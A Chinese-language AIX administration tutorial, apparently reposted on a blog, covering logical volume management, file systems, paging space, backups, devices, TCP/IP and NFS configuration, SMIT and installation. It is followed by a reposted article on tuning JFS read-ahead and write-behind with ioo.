在一个卷组VG中,用户可以定义若干个逻辑卷LV,一个逻辑卷在物理上可能是不连续的,有可能跨越了一个卷组中的多个物理卷。可用mklv来创建。一个逻辑卷的大小可利用逻辑分区的数目来确定。每个逻辑分区最多可有三个物理分区与之对应,多个物理分区对应于一个逻辑分区的情况,通常用于对逻辑卷生成镜像。

这样就有这么一些概念:

卷组VG
物理卷PV
物理分区PP
逻辑卷LV
逻辑分区LP

常用命令:

# lsvg显示卷组VG的信息,例如:

(1) lsvg -o

(2) lsvg

(3) lsvg vg02

(4) lsvg -l vg02

#varyoffvg使卷组VG不被激活,例如:

(1) varyoffvg cx_vg

#varyonvg使卷组VG被激活,例如:

(1) varyonvg cx_vg

# lspv显示物理卷PV的信息,例如:

(1) lspv hdisk0

(2) lspv -p hdisk2

(3) lspv

hdisk0 0000000012345678 rootvg
hdisk1 10000BC876543258 rootvg
hdisk2 ABCD000054C23486 cx_vg

# lslv 显示逻辑卷LV的信息,例如:

(1) lslv lv03

(2) lslv -p hdisk2

(3) lslv -l lv03

# lsps显示Paging space的信息,例如:

(1) lsps -a

Page Space Phy Vol Vol Grp Size %Used Active Auto
hd6 hdisk0 rootvg 1024MB 30 yes yes
(2) lsps -s

# lsfs显示文件系统的信息,例如:

(1) lsfs

(2) lsfs -v jfs


二、文件系统的管理

1、文件系统概述

在AIX中,文件系统是由若个文件和目录组成的分级树形结构。文件系统通过一个挂接点mount point把自己连接到系统的一个节点上,这样文件系统可以方便地安装、拆卸和备份、恢复。
在AIX中,一个文件系统总是独占一个逻辑卷,因此系统逻辑卷对文件系统有一定的限制。当然,逻辑卷既可做为一个文件系统的载体,也可做为它用。AIX支持的文件系统类型有日志文件系统jfs,网络文件系统nfs,光盘文件系统cdrfs等等。
对于一般的日志文件系统,系统在/etc/filesystems文件中都有具体的定义。例如:

/:
dev=/dev/hd4
vol="root"
mount=automatic
check=false
vfs=jfs
log=/dev/hd8
type=bootfs
/home:
dev=/dev/hd1
vol="/home"
mount=true
check=true
vfs=jfs
log=/dev/hd8
/home/user:
dev=/dev/lv00
vfs=jfs
log=/dev/hd8
mount=false
check=true
options=rw

其中check属性表示如果使用fsck命令检测文件系统,此文件是否在检测之列。AIX在系统启动时要调用fsck来检测指定文件系统的完整形。
mount属性有三个选项:automatic表示在系统初启时此文件系统将被自动载入,相反则用false表示;true表示使用mount all命令来加载。
vfs表示文件系统的类型,如JFS、NFS。
log表示此文件系统的日志记录数据将写到的逻辑卷。
options表示此文件系统的操作属性,如rw表示为可读写。

2、文件系统的结构

在AIX中,有五个特定的文件系统,它们是系统安装时自动生成的。

(1)、/ root文件系统包括AIX系统运行的一些关键性的文件和目录,其中比较重要的有目录/etc,/dev,/usr,/var,/home,文件/unix等。
在/etc目录下,包括了有关系统的一些配置文件和命令文件。
在/dev目录下,包含了所有的硬件设备的逻辑文件。
/unix文件则包含了UNIX操作系统的核心程序

(2)、/usr文件系统是AIX中最庞大的一个文件系统,它挂接在root文件系统的/usr目录下。
它包括的内容最常见的有:
/usr/bin目录包括有各种二进制命令文件和SHELL脚本程序。
/usr/lib目录中主要是各种与平台无关的库文件。
/usr/lpp目录下包含了安装到AIX中的各种应用软件产品。
/usr/sbin目录提供给管理员各种用于系统管理的工具。

(3)、/var文件系统包括了一些有关电子邮件、日志记录、事件跟踪等方面的一些应用程序的文本记录。例如:
/var/adm/wtmp用户的登录记录
/var/news系统的消息记录
/var/tmp/*有关的临时文件
/var/adm/sulog用户使用SU命令的记录

(4)、为了保存一些临时文件,AIX中设有一个专门的文件系统/tmp。

(5)、/home文件系统则是专门用来放置用户数据。
除了这些由系统建立的文件系统外,用户也可以用smit mkfs来建立自己的文件系统。

3、管理文件系统

#smit fs
File Systems
List All File Systems
List All Mounted File Systems
Add/Change/Show/Delete File Systems
Mount a File Systems
Mount a Group of File Systems
Unmount a File Systems
Unmount a Group of File Systems
Verify a File Systems
Backup a File Systems
Restore a File Systems
List Contents of a Backup


三、逻辑卷的管理

对于逻辑卷,在/dev中对应一个流格式和一个块格式的逻辑文件描述:

brw-rw---- 1 root system 19,0 Apr 01 12 : 30 /dev/hdisk0
crw-rw---- 1 root system 19,0 Apr 01 12 : 30 /dev/rhdisk0
brw-rw---- 1 root system 10,6 Apr 01 12 : 30 /dev/hd2
crw-rw---- 1 root system 10,6 Apr 01 12 : 30 /dev/rhd2


它主要包括有:

Journaled file system日志文件系统
Paging space分页空间
Journal log日志记录
Boot Logical Volume引导逻辑卷
Raw device裸设备
Dump Space

我们可以用smit lvm来进行管理和配置


四、分页空间

分页空间是位于硬盘上的固定空间,其中保存着一些位于虚拟内存中且当前不被访问的数据。分页空间也可称为交换空间,实际上就是一个逻辑卷。
在实际系统运行中,如果系统实内存太小,那么位于实内存中最近没有被访问到的数据将被从实内存移到分页空间中,以便为其它的急需要内存资源的作业释放空间。
在AIX中,缺省的分页空间是/dev/hd6逻辑卷。
对于一个系统来说,分页空间的管理通常是对以下两个方面来进行的:

(1)、分页空间的数量
太多的分页空间是一种不必要的浪费,但太少则会影响系统的运行效率,更有甚者可能会造成系统终止。建议在30%~70%之间。

(2)、分页空间的分布
分页空间是被频繁访问的区域,所以应当尽量放在硬盘的中心。


五、系统的备份与恢复

数据的备份和恢复是UNIX系统中一个重要的工作。在备份过程中,常常要使用compress和pack命令对数据进行压缩。恢复时用uncompress、unpack解压缩。
数据备份从方式上来说有如下三种:

系统备份 保留整个操作系统的备份映像,可用来恢复操作系统。
全备份 保留所有用户的全部数据文件和配置信息。
增强式备份 只对上次备份后的修改部分作备份,备份速度快。

在系统安装完毕后或系统有任何修改,都应该对ROOTVG作系统备份,方法是:
# smit mksysb
[TOP] [Entry Fields]
WARNING: Execution of the mksysb command will
result in the loss of all material
previously stored on the selected
output medium. This command backs
up only rootvg volume group.

* Backup DEVICE or FILE [] +/
Create MAP files? no +
EXCLUDE files? no +
List files as they are backed up? no +
Generate new /image.data file? yes +
EXPAND /tmp if needed? no +
Disable software packing of backup? no + [MORE...2]

Esc+1=Help Esc+2=Refresh Esc+3=Cancel Esc+4=List
Esc+5=Reset Esc+6=Command Esc+7=Edit Esc+8=Image
Esc+9=Shell Esc+0=Exit Enter=Do


进入smit界面后,把device一栏设成磁带机,然后按回车就行了。
对于非rootvg卷组,可用savevg命令或smit savevg来作备份。对于一般用户可用backup命令来进行。例如:
backup [-u] [-level] [-f device] [file system]
其中允许使用参数实现增强式备份,如-0,-1,-2,...,等等,其中零级备份即表示全备份。除此以外,AIX还提供了tar、cpio、dd、copy、flcopy、tctl等,请查看随机的CD-ROM文件。

注意:数据库的备份应使用其提供的方法,才能保证数据库的完整性。
***************************AIX基础教程(下)************************
设备的管理和使用

一、物理设备和逻辑设备

1、物理设备是指以某种方式与计算机系统相连的实际硬件。例如显示器、终端、磁带机等。

2、逻辑设备是用户或应用程序访问物理设备的界面,用户或应用程序通过逻辑设备来访问物理设备。

3、在很多情况下,一个物理设备会对应多个逻辑设备,例如:

/dev/fd0
/dev/fd0.18
/dev/fd0h
/dev/fd0l
/dev/rfd0
/dev/rfd0.18
/dev/rfd0h
/dev/rfd0l

以上所有的逻辑设备全部对应于同一个物理设备(软盘驱动器)。此外,系统中有一些逻辑设备只是一些虚拟设备,它们不对于任何实际的物理设备,例如/dev/error和 /dev/null。

4、块设备是一种将信息存放在定长块中的设备。块设备是一种随机访问设备,用户可以随时访问设备中的任意一块。常见的块设备有:

cd0 只读光驱
fd0 软盘驱动器
hd1 lv00 逻辑卷
hdisk0 硬盘

5、字符设备是一种原始的、面向字符流的顺序存取设备,每次按顺序读写一个字符。常用的字符设备有:
console, lft0, tty 终端
rmt0 磁带机
tok0, ent0 网卡
mem 内存
rhd1, rlv00 逻辑卷
rhdisk0 物理卷


二、设备的分类层次

1、在AIX系统中,按类、子类、型号三个层次对设备进行分类。

类(class)是按设备的功能划分的,例如打印机类、硬盘类、适配卡类等。
子类(subclass)是按设备的某种相似性划分的,例如适配卡类可分为PCI子类和MCA子类。
型号(type)是按设备的机型或生产厂家划分的,例如磁带机可分为4mm12gb、 8mm20gb等型号。

2、获取设备信息

# lsdev [-option]

在AIX系统中,有两个关于设备的数据库----Predefined与Customized。Predefined数 据库中记录了AIX系统本身可以支持的所有设备种类;Customized数据库中则记录 了目前你的系统已配置/安装的设备类型。

Customized数据库中又有两类设备。一种叫Defined设备;另一种叫Available设备。 Defined设备是指它的驱动程序已安装,但系统还没有找到该设备。Available设备则 是指系统已找到该设备及其驱动程序,因此你可以直接使用这个设备。

这条命令的参数如下:

-P:查看系统Predefined数据库中的设备
-H:输出时,在第一行加上各列的Title
-c: 指出要查询的设备类型
-C:查看系统Customized数据库中的设备

例子:

# lsdev -PH

查看系统可以支持的所有设备,其输出如下:

classtype subclass description

adapterethernet isa IBM ISA Ethernet Adapter
adapterppa sio Standard I/O Parallel Port Adapter
adaptertokenring mca Token-Ring High-Performance Adapter
disk 400mb scsi 400MB SCSI Disk Drive
disk osdisk scsi Other SCSI disk
memory memory sys Memory Card
printerosp rs232 Other serial printer
tape 150mb scsi 150MB ?-Inch Tape Drive
tty tty rs232 Asynchronous Terminal
adapterner810 pci Standard SCSI I/O Controller
. . . . . .

# lsdev -Pc tape

查看系统可以支持的所有磁带机类型,其输出如下:

tape1200mb scsi1.2GB ?-Inch Tape Drive
tape150mbscsi150MB ?-Inch Tape Drive
. . . . . .

# lsdev -CH

查看系统内各个设备的信息,我们可以看到如下信息:

namestatuslocationdescription

sys0Available00-00System Object
bus0Available00-00PCI Bus
bus1Available00-10ISA Bus
ppa0Available00-00-0PStandard I/O Parallel Port Adapter
lp0Available00-00-0P-00IBM 4201 Model Proprinter II
sa0Available00-00-S1Standard I/O Serial Port 1
tty0Available00-00-S1-00Asynchronous Terminal
mem0Available00-0D16MB Memory Card
scsi0Available00-01SCSI I/O Controller
hdisk0Available00-01-00-0,0400MB SCSI Disk Drive
rmt0Defined 00-01-00-5,C150MB ?-Inch Tape Drive
ent0Available00-02Ethernet Adapter

# lsdev -Cc memory

查看所有属于memory设备的信息,其输出如下:

mem0Available00-0D16MB Memory Card
mem1Available00-0432MB Memory Card


3、获取设备的具体信息

# lsattr [-option] [resource name]

这条命令是用来获取某一设备的具体信息的。

每个逻辑设备在系统中都有一个 Location Code ,这个号码因设备的类型及与之所 连的适配卡而定。

这条命令的参数如下:

-C:从ODM库中提取customized设备的信息。
-E:看设备的具体属性。
-l : 列出逻辑设备名。
-c : 按类来列出设备。

例子:

# lsattr -El sys0

查看系统本身的配置信息。其输出如下:

keylocknormalState of system keylock at boot timeFalse
maxbuf20Maximum number of pages in block
I/O BUFFER CACHETrue

4、显示系统配置、诊断、VPD(vital product data)的信息

# lscfg
例如:

(1) lscfg

INSTALLED RESOURCE LIST

The following resources are installed on your machine.

+/- = Added/Deleted from Diagnostic Test List.
* = NOT Supported by Diagnostics.

+ sysplanar0 00-00 System Planar
+ fpa0 00-00 Floating Point Processor
+ mem0 00-0A Memory Card
+ mem1 00-0B Memory Card

+ ioplanar0 00-00 I/O Planar
* f2bus0 00-00 Micro Channel Bus
+ rs2320 00-01 RS232 Card
+ tty0 00-01-0-01 RS232 Card Port
- tty1 00-01-0-02 RS232 Card Port

(2) lscfg -v

INSTALLED RESOURCE LIST WITH VPD

The following devices are installed in your system.

sysplanar0 00-00 System Planar

Part Number.........342522
EC Level............254921
Serial Number.......353535

fpa0 00-00 Floating Point Processor
mem0 00-0A Memory Card

EC Level............990221


三、设备的状态

在AIX中,设备可以处在下列三种状态之一:

1、Undefined未定义状态

如果设备处于此状态,则系统没有该设备的任何信息。

2、Defined已定义状态

处于此状态,说明系统已经存有该设备的全部信息,并已经给设备分配好逻辑设备名和端口,但当前设备还不能被使用。

3、Available可用状态

处于此状态的设备能被正常使用。

设备可以在这三种状态之间进行转换,可通过命令mkdev -dl和 rmdev -dl来进行,或通过smit dev来实现。
例如:
(1) mkdev -l rmt0
rmt0 Available

(2) rmdev -l rmt0
rmt0 Defined

(3) rmdev -dl rmt0
rmt0 deleted


四、串行设备

串行设备是与系统串口相连的设备,一般需要手工配置。

1、显示所有已定义的TTY设备

lsdev -Cctty
smit tty

2、增加一个TTY设备

smit tty
-Add a TTY
-TTY (rs232 rs422)
-Parent Adapter(sa0 Available 00-00-s1 Standard I/O Serial Port1)
(sa1Available 00-00-s2 Standard I/O Serial Port2)
(sa2 Available 00-03-11 8 port Asynchronous Adapter)

Add a TTY

Type or select values in entry fields.
Press Enter AFTER making all desired changes.
[TOP] [Entry Fields]
TTY type tty
TTY interface rs232
Description Asynchronous Terminal
Parent adapter sa0
* PORT number [] +
Enable LOGIN disable +
BAUD rate [9600] +
PARITY [none] +
BITS per character [8] +
Number of STOP BITS [1] +
TIME before advancing to next port setting [0] +#
TERMINAL type [dumb]
FLOW CONTROL to be used [xon] + [MORE...31]

F1=Help F2=Refresh F3=Cancel F4=List
Esc+5=Reset Esc+6=Command Esc+7=Edit Esc+8=Image
Esc+9=Shell Esc+0=Exit Enter=Do

在这个对话框中,须填写PORT number一项,使用F4键得到选项列表,按所需的来选出合适的PORT number。

3、与TTY有关的命令

pdisable [-a] [device]命令暂时禁用一个TTY设备
penable命令则解除对TTY设备的禁用
stty [-a] [-g] [options]命令设置或显示TTY设备的属性


五、磁带机和软盘的使用

1、格式化软盘

format -d /dev/rfd0
注意:在UNIX系统中格式化的软盘不能在DOS中使用。

2、软盘拷贝

flcopy命令用于将一个软盘中的内容拷贝到另一张软盘上。

3、用软盘或磁带转存文件

使用cpio命令可将硬盘文件拷贝到磁带或软盘上。
例如,将当前目录下所有以C为后缀的文件拷贝到软盘上:
ls *.C | cpio -ov > /dev/rfd0
例如,将当前目录的所有文件和子目录拷贝到软盘上:
find . -print | cpio -ov > /dev/rfd0

使用cpio命令可将文件从软盘或磁带拷贝恢复到硬盘上。
例如,将软盘的文件拷贝到硬盘:
cpio -iv < /dev/rfd0
例如,列出fd0的文件:
cpio -itr < /dev/rfd0
例如,将软盘的文件拷贝到当前目录:
cpio -idmv < /dev/rfd0

tar命令
tar cvf
tar xvf
tar tvf

4、磁带机的属性

(1)、块大小block-size

数据在磁带上是按块来存放的,块与块之间有一定的间隔标志。当对磁带进行读写操作时,需要知道块的大小。将块大小设置为较大的值时可以向磁带写入更多的信息,因为这样做会减少块与块之间间隔的数目。当块大小设置为零时,表示磁带机使用可变长度的块。
可通过smit tape--Change/Show Characteristics of a Tape Drive来设置或查看块大小。

(2)、缓冲区use DEVICE BUFFERS during writes

当缓冲区属性设为YES时,应用程序将数据写入设备缓冲区后即被告知完成写操作。当缓冲区属性设为NO时,只有当数据真正写入磁带后,应用程序才被告知完成写操作。此值缺省为YES。


AIX的网络通信


一、配置和运行TCP/IP

1、在配置TCP/IP前,需知道:

主机名和域名
IP地址和子网掩码
路由器的IP地址
域名服务器的IP地址

smit tcpip
-Minimum Configuration & Startup
Minimum Configuration & Startup

To Delete existing configuration data, please use Further Configuration menus

Type or select values in entry fields.
Press Enter AFTER making all desired changes.
[Entry Fields]
* HOSTNAME [ ]
* Internet ADDRESS (dotted decimal) [ ]
Network MASK (dotted decimal) [ ]
* Network INTERFACE en0
NAMESERVER
Internet ADDRESS (dotted decimal) [ ]
DOMAIN Name [ ]
Default GATEWAY Address [ ]
(dotted decimal or symbolic name)
Your CABLE Type N/A +
START Now no +


F1=Help F2=Refresh F3=Cancel F4=List
Esc+5=Reset Esc+6=Command Esc+7=Edit Esc+8=Image
Esc+9=Shell Esc+0=Exit Enter=Do

在域中输入正确的值,按ENTER键即可完成TCP/IP的配置。
如果值有变化,第二次可用smit chinet来设置。例如:

smit chinet

[Entry Fields]
Network Interface Name en0
Internet ADDRESS (dotted decimal) []
Network MASK (dotted decimal) []
Current STAT up


F1=Help F2=Refresh F3=Cancel F4=List
Esc+5=Reset Esc+6=Command Esc+7=Edit Esc+8=Image
Esc+9=Shell Esc+0=Exit Enter=Do



2、TCP/IP的启动

TCP/IP启动时需要两个启动文件:/etc/rc.net和/etc/rc.tcpip。文件/etc/rc.net用于配置网络界面,设置路由;而/etc/rc.tcpip用于启动tcpip后台服务进程。


二、TCP/IP常用的命令

1、ping

2、telnet

3、ftp
/etc/ftpusers

4、netstat显示网络状态,例如:

(1) netstat -in

(2) netstat -rn


三、网络文件系统NFS

NFS是一种能较好共享远程文件的方案。它采用客户/服务器结构,NFS服务器提供共享文件供客户访问,NFS客户通过网络请求服务器的资源。一台主机可同时作为NFS服务器和NFS客户机。

1、NFS的服务进程

NFS客户机的进程:biod, rpc.statd, rpc.locked
NFS服务器的进程:rpc.mountd, nfsd, rpc.statd, rpc.lockd

2、配置NFS服务器

在配置NFS以前,需要确认已经:
安装和配置了TCP/IP
安装了NFS软件(bos.net.nfs)
明确了网络中那些是NFS服务器和客户机
确定了NFS服务器上需要共享的目录

smit nfs
-Network File System(NFS)
-Add a Directory to Exports List
Add a Directory to Exports List

Type or select values in entry fields.
Press Enter AFTER making all desired changes.
[Entry Fields]
* PATHNAME of directory to export [ ] /
* MODE to export directory read-write +
HOSTS & NETGROUPS allowed client access [ ]
Anonymous UID [-2]
HOSTS allowed root access [ ]
HOSTNAME list. If exported read-mostly [ ]
Use SECURE option? no +
Public filesystem? no +
* EXPORT directory now, system restart or both both +
PATHNAME of alternate Exports file [ ]


F1=Help F2=Refresh F3=Cancel F4=List
Esc+5=Reset Esc+6=Command Esc+7=Edit Esc+8=Image
Esc+9=Shell Esc+0=Exit Enter=Do

其中PATHNAME of directory to export表示共享出去的目录的路径
MODE to export directory表示共享目录的模式
HOSTS & NETGROUPS allowed client access表示允许访问该共享目录的客户机名,如果空白,则允许所有的客户机访问

3、配置NFS客户机

(1)、用nkdir命令建立一个本地安装点

mkdir /home/mntpt

(2)、启动NFS客户进程

smit mknfs
Start NFS

Type or select values in entry fields.
Press Enter AFTER making all desired changes.
[Entry Fields]
* START NFS now, on system restart or both both +


F1=Help F2=Refresh F3=Cancel F4=List
Esc+5=Reset Esc+6=Command Esc+7=Edit Esc+8=Image
Esc+9=Shell Esc+0=Exit Enter=Do

(3)安装网络文件系统

mount server1:/export_file /home/mntpt


SMIT工具


SMIT(SMITTY)为用户提供了一个灵活的工具来管理系统。下面介绍一些SMIT中符号和功能键的意义
* 所需要的值,这个域必须填入值
# 这个域需要填入数字
/ 这个域需要填入路径
X 这个值需要填入一个16进制的数
? 这个值不会显示
+ 一个下拉式列表,按F4键显示列表
F1(ESC-1) 显示上下文帮助
F2(ESC-2) 刷新
F3(ESC-3) 注销,返回上一级菜单
F4(ESC-4) 列表,给出可选的列表值
F5(ECS-5) 初始化,恢复一个输入域的原始数据
F6(ESC-6) 命令,显示要执行的AIX命令
F7(ESC-7) 编辑,编辑一个下拉式菜单或下拉表中的一项
F8(ESC-8) 镜像,将当前的屏幕存到一个文件中并将当前的快速路径显示出来
F9(ESC-9) 外壳,启动一个子外壳
F10(ESC-10)退出,立即退出SMIT菜单
ENTER 开始执行当前行
/TEXT 在输出中查找文本
n查找下一个出现要查找的文本的地方

SMIT的日志文件在$HOME目录下,名为smit.log,它保存了所有被访问的菜单和对话框,还有所有被执行的命令和输出,以及运行过程中产生的错误。smit.script文件则保存了SMIT执行的所有的AIX命令。



AIX系统的安装


安装前必须已满足IBM的装机条件和所有的硬件设备已连接好。
打开外接设备和系统的电源,假设从光盘启动,在电源打开以后系统将从光盘启动。
在选择好控制台和安装所用到的语言环境之后系统将出现提示信息供用户选择所需要的功能

Welcome to Base Operating System
Installation and Maintenance

Type the numbers of your choice and press Enter. Choice indicated by>>>

1. Start Install now with Default Settings
2. Change/Show Installation Settings and Install
3. Start Maintenance Mode for System Recovery


88. Help?
>>>Choice[1]:

其中第三项是为了修复系统中出现的某些错误而设置的单用户环境。
第一项是如果不希望改动任何缺省设置的话,就选择1开始安装。
第二项是更改或查看系统安装的设置。在第二项的子菜单中,有三个选项可以被改变:

Installation Settings

Enter type 0 or press Enter to install with current settings, or type the number of the setting you want to change and press Enter.

1. System Settings
Method of installation-------------------------------------New and Complet Overwrite
Disk where you want to install----------------------------hdisk0

2. Primary Language Environment Settings ( After install )
Cultural Convention-----------------------------------C ( POSIX )
Language------------------------------------------------C ( POSIX )
Keyboard------------------------------------------------C ( POSIX )

3. Install Trusted Computing Base---------------------------no

0. Install with the settings listed above

88. Help?
99. Previous Menu

>>>Choice[1]:

其中选项1是全新安装。使用这种方法安装系统将会覆盖用户所选择目标盘上的所有数据。
选项2是迁移安装。 这种方法常用来做系统升级(例如从AIX3.2升级到AIX4.1),使用这种方法安装时,除了tmp以外的所有文件系统的内容都会被保留。但一些AIX设备驱动的软件必须重新安装。
选项3是保留安装。 如果用户希望保留rootvg卷组中的用户数据,则可选择这种安装方法。此时/usr、/tmp、/var和/文件系统中的所有数据都将被覆盖,系统安装完后还须重新配置。

当以上参数都选择完后就可以开始安装系统了。

系统安装完后会自动重新启动,且出现install_assist的画面供用户进行基本的配置。


其它实用的技巧

1、查看软件版本的命令

# oslevel
# lslpp -l

oslevel 是用来查看AIX操作系统的版本。

而 lslpp -l 是用来查看系统具体每个文件包的版本。

例子:

# lslpp -l > lpp.txt

则 lpp.txt 中包含如下信息:

Fileset Level State Description ----------------------------------------------------------------------------Path: /usr/lib/objrepos
IMNSearch.bld.DBCS 1.2.0.4 COMMITTED NetQuestion DBCS Buildtime Modules
IMNSearch.bld.SBCS 1.2.1.3 COMMITTED NetQuestion SBCS Buildtime Modules
IMNSearch.rte.DBCS 1.2.0.4 COMMITTED NetQuestion DBCS Search
Engine
IMNSearch.rte.SBCS 1.2.1.3 COMMITTED NetQuestion SBCS Search
Engine
IMNSearch.rte.httpdlite 1.1.1.1 COMMITTED NetQuestion Local HTTP
Daemon
Java.adt.docs 1.1.6.0 COMMITTED Java Documentation Java.adt.includes 1.1.6.4 COMMITTED Java Application Development Toolkit Includes



2、查看所有出错信息

在系统运行时,一些系统错误记录会记录在 errlog 中,其中有些错误还会在终端上 显示出来,检查错误日志可用以下命令:

# errpt | more查看系统所有的记录

IDENTIFIER TIMESTAMP T C RESOURCE_NAME DESCRIPTION
E85C5C4C 0426104399 P S CFGLFT SOFTWARE PROGRAM ERROR
2BFA76F6 0426104099 T S SYSPROC SYSTEM SHUTDOWN BY USER
9DBCFDEE 0426104399 T O errdemon ERROR LOGGING TURNED ON
192AC071 0426103999 T O errdemon ERROR LOGGING TURNED OFF
AA8AB241 0423132999 T O clstrmgr OPERATOR NOTIFICATION

其中

IDENTIFIER 为错误编号,当需要检查详细信息时常会用到。

TIME STAMP 为时间标签,它记录的是出错时间,
其格式:月月日日时时分分年年

T 为Type ,它记录的是错误类型
P :为永久错误,需引起注意
T :为临时错误。

C为Class,它记录的是错误类型
H : Hardware
S : Software
O : Errloger command messages
U : undetermined

RESOURCE_NAME 为错误来源

DESCRIPTION为错误描述


查看系统详细记录内容

# errpt -aj <IDENTIFIER>|pg

其中IDENTIFIER为错误编号,如 # errpt -aj 0426104399 | pg

查看系统所有的硬件出错记录

# errpt -dH


3、文件系统的操作

(1) 、列出所有的文件系统

# lsfs

它的作用是列出所有的文件系统,其输出如下:

Name Nodename Mount Pt VFS Size Options Auto
Accounting
/dev/hd4 -- / jfs 163840 -- yes
no
/dev/hd1 -- /home jfs 16384 -- yes
no
/dev/hd2 -- /usr jfs 2818048 -- yes
no
/dev/hd9var -- /var jfs 16384 -- yes
no
/dev/hd3 -- /tmp jfs 32768 -- yes
no
/dev/lv00 -- /ibmcxx jfs 835584 rw no

(2)、 列出所有 mount 了的文件系统

# mount

其输出如下:

node mounted mounted over vfs date options
-------- --------------- --------------- ------ ------------ ---------------
/dev/hd4 / jfs Nov 16 12:47 rw,log=/dev/hd8
/dev/hd2 /usr jfs Nov 16 12:47 rw,log=/dev/hd8
/dev/hd9var /var jfs Nov 16 12:47 rw,log=/dev/hd8
/dev/hd3 /tmp jfs Nov 16 12:47 rw,log=/dev/hd8

/dev/hd1 /home jfs Nov 16 12:49 rw,log=/dev/hd8

(3)、 查看各文件系统的使用情况

# df -k

其输出如下:

Filesystem 1024-blocks Free %Used Iused %Iused Mounted on
/dev/hd4 81920 68568 17% 1724 5% /
/dev/hd2 1409024 430896 70% 28467 9% /usr
/dev/hd9var 8192 6540 21% 293 15% /var
/dev/hd3 16384 15352 7% 51 2% /tmp
/dev/hd1 8192 3820 54% 54 3% /home

(4) 、启动、停止和检测 HACMP

a用(#smit clstart)启动 HACMP
b用(#tail -f /tmp/hacmp.out)跟踪输出
c用(#netstat -in)查看 en0、en1的状态,看是否已从 boot 地址切换成service地址
d用(#lsvg -o) 查看是否 datavg 已经激活
e正常启动后,用(#smit clstop)通过 takeover 方式 down掉一个
node,查看是否 IP 被另一个node接管
f停止HACMP,用(#smit clstop)通过graceful方式或force方式停用HACMP
-graceful方式是node停用HACMP并释放资源
-force方式是node停用HACMP但不释放资源
-take over方式是node停用HACMP,并让另一个node接管资源


【发表评论】 【收藏本文】 【推荐给朋友】 【关闭窗口】 相关论坛: Unix论坛    相关文章 在AIX中设置中文环境 (02/26/2003 21:34) AIX数据库启动和停止脚本 (01/29/2003 06:34) AIX系统日常管理 (01/29/2003 06:25) IBM专业认证经验总结 (01/29/2003 06:22)


阅读全文(7043) | 回复(0) | 编辑 | 精华 | 删除
 


[综合]AIX文件系统性能调优
文章收藏,  网上资源

薛 峰 发表于 2005/12/26 12:52:49

文件系统性能调优 看的越多,越解惑 1、顺序读性能调优
VMM 的顺序预读功能能够改进需要顺序访问大文件的程序的性能。
下面的插图展示了典型的预读的情况。
顺序预读的例子. 插图显示了用一行块模拟一分段磁道的文件页号。这些块段按 0,1 到 3,4 到 7,8 到 15 以及 16 到 23 编号。顺序预读的步骤可以在紧接着插图后的文本中找到。 在这个例子中,minpgahead 的值为 2,maxpgahead 的值为 8 (缺省值)。程序顺序处理文件。图中只显示了对预读机制有重要作用的数据引用(按从 A 到 F 的顺序标出)。这些步骤是:
A
第一次文件访问读取文件的第一页(第 0 页)。在这个时候,VMM 并不知道这次访问是随机还是顺序访问。
B
当程序访问下一页(第 1 页)的首字节而不存在对文件其它页的插入访问时,VMM 推断出该程序正在进行顺序访问。于是将页提前量设为 minpgahead (2) 并且调度读取额外的页(第二、三页)。这样步骤 B 总共读取了 3 页。
C
当程序访问预读的第一页(第 2 页)的首字节时,VMM 将页提前量加倍到 4 并且调度读取第 4 到 7 页。
D
当程序访问前次预读的第一页(第 4 页)的首字节时,VMM 将页提前量加倍到 8 并且调度读取第 8 到 15 页。
E
当程序访问前次预读的第一页(第 8 页)的首字节时,VMM 决定将页提前量设为 maxpgahead 并且调度读取第 16 到 23 页。
F
VMM 在程序访问前一组预读页的首字节的情况下继续预读 maxpgahead 页直到文件结尾。
一旦程序偏离了顺序访问模式并且不按次序访问了文件中的一页,顺序预读就会终止。当 VMM 检测到程序恢复顺序访问后,页提前量便会恢复到 minpgahead 页。
可在 ioo 命令中使用 -r 和 -R 选项来更改 minpgahead 和 maxpgahead 的值。如果您打算改变这些值,请记住:
该值必须是集合:0、1、2、4、8、16 等中的一个。使用其它值可能会对性能或功能造成不利影响。
o 由于 VMM 的加倍算法,该值应该是 2 的幂。
o 大于 16 的 maxpgahead 值(预读量大于 64 KB)会超出某些磁盘设备驱动程序的能力。在这种情况下,预读的大小会保持在 64 KB。
o 更大的 maxpgahead 值可用于条带状逻辑卷的顺序性能显得至关重要的系统中。
minpgahead 和 maxpgahead 的值都为 0 能有效消除此机制。这会给性能带来负面影响。但是,在 I/O 随机的一些情况下,这可能也有用处,这时 I/O 的大小会使预读算法生效。
对于非条带状文件系统,当 maxpgahead 值为 8 或 16 时,其顺序 I/O 性能会达到可能的最大值。
预读值从 minpgahead 增加到 maxpgahead 的过程很快,对于大多数文件大小来说增大 minpgahead 值都不会带来任何性能的提高。
可以针对 JFS 和增强型 JFS 分别调优顺序预读功能。JFS 的预读页可以通过改变 minpgahead 和 maxpgahead 的值调优,而增强型 JFS 使用 j2_minPageReadAhead 和 j2_maxPageReadAhead。
2、顺序和随机后写性能调优
后写涉及在达到某个阈值后将内存中修改过的页面异步写到磁盘上,而不是等待 syncd 守护程序将页面清空到磁盘上。这被用于限制内存中的脏页数,减少系统开销和最小化磁盘碎片。后写有两种类型:顺序后写和随机后写。
顺序后写
缺省情况下,一个 JFS 文件划分成 16 KB 大小的分区或 4 页。每一个这样的分区被称为一簇。如果该簇中的 4 页都是脏页,那么一旦修改完下一个分区,系统就会调度该簇中的 4 页并将其写入磁盘。如果不具备这一功能,则直到 syncd 守护程序运行前,该页都会留存于内存,导致可能的 I/O 瓶颈和文件碎片。
VMM 用于充当阈值的簇数是可调优的。缺省值是一簇。使用 ioo -o numclust 命令来增加 numclust 参数可以延迟后写。
对于增强型 JFS,ioo -o j2_nPagesPerWriteBehindCluster 命令用来指定每次调度的页数,而不是簇数。增强型 JFS 簇的缺省页数为 32,意味着增强型 JFS 的缺省大小为 128 KB。
随机后写
可能存在一些应用程序执行大量的随机 I/O,即 I/O 模式不满足后写算法的要求,因而导致所有页面驻留在内存中,直到 syncd 守护程序运行为止。如果应用程序在内存中修改了许多页,就有可能在 syncd 守护程序调用 sync() 时向磁盘写入大量页。
后写功能提供了这样一种机制,即当给定文件在内存中的脏页数超过规定阈值后,则会调度所写的后续页面以写到磁盘上。
通过使用 ioo 命令并带有 JFS maxrandwrt 参数可调整此阈值。缺省值为 0,表示随机后写是禁用的。将该值增加到 128 表示一旦文件驻留于内存的页达到 128 页,随后的任何脏页都将被调度写入磁盘。而这些页将在调用 sync() 后刷新。
